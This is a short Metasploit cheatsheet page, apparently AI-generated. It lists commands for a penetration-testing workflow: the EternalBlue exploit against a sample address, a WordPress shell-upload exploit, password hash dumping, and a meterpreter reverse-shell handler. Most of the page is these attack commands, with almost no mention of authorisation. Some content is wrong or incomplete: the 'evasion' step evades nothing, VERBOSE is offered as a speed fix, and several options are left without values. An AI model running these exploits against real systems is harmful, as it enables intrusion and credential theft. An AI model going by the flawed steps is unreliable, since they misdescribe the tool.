π€ AI Prompts Cheatsheet
Daniel Osei — AI-Assisted Security Engineer
What is Metasploit?
Metasploit is a penetration testing framework that allows security professionals to find vulnerabilities, exploit them, and develop their own exploits. It is widely used for penetration testing by cybersecurity professionals to conduct security assessments on systems.
Installation
Installing Metasploit is straightforward. It can be installed on various platforms such as Windows, Linux, and macOS. For Linux, you can use the following commands:
curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfinstall | sh
For Windows users, it’s easiest to download the installer from the official Metasploit website and follow the installation instructions.
Basic Syntax
The basic syntax for using Metasploit is:
msfconsole
After launching Metasploit, you can use commands such as:
use exploit/windows/smb/ms17_010_eternalblue
Discovery
To conduct reconnaissance, you can use various Metasploit modules:
use auxiliary/scanner/portscan/tcp
set RHOSTS
run
Scanning
Utilize the Nmap integration for detailed scanning:
nmap -sS -p-
Exploitation
To exploit a discovered vulnerability:
use exploit/unix/webapp/wp_admin_shell_upload
set RHOST
exploit
Analysis
Post-exploitation analysis can be performed using:
use post/windows/gather/hashdump
set SESSION
run
Evasion
To avoid detection, implement evasion techniques:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST
Reporting
To generate a report from your findings:
db_export -f xml -a -o report.xml
Quick Reference Table
| Flag | Description |
|---|---|
| RHOST | Remote host IP address |
| PAYLOAD | Exploit payload to use |
Pro Tips
- Use the
searchcommand to quickly find exploits and payloads. - If you encounter a slow connection, adjust the
set VERBOSE trueoption for detailed output. - Explore the Metasploit community for additional modules and scripts created by other penetration testers.
Real-World Examples
For real-world application, an analyst may take the following approach:
msfconsole
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
exploit
Follow the output carefully to monitor for successful exploitation and subsequent access to the system.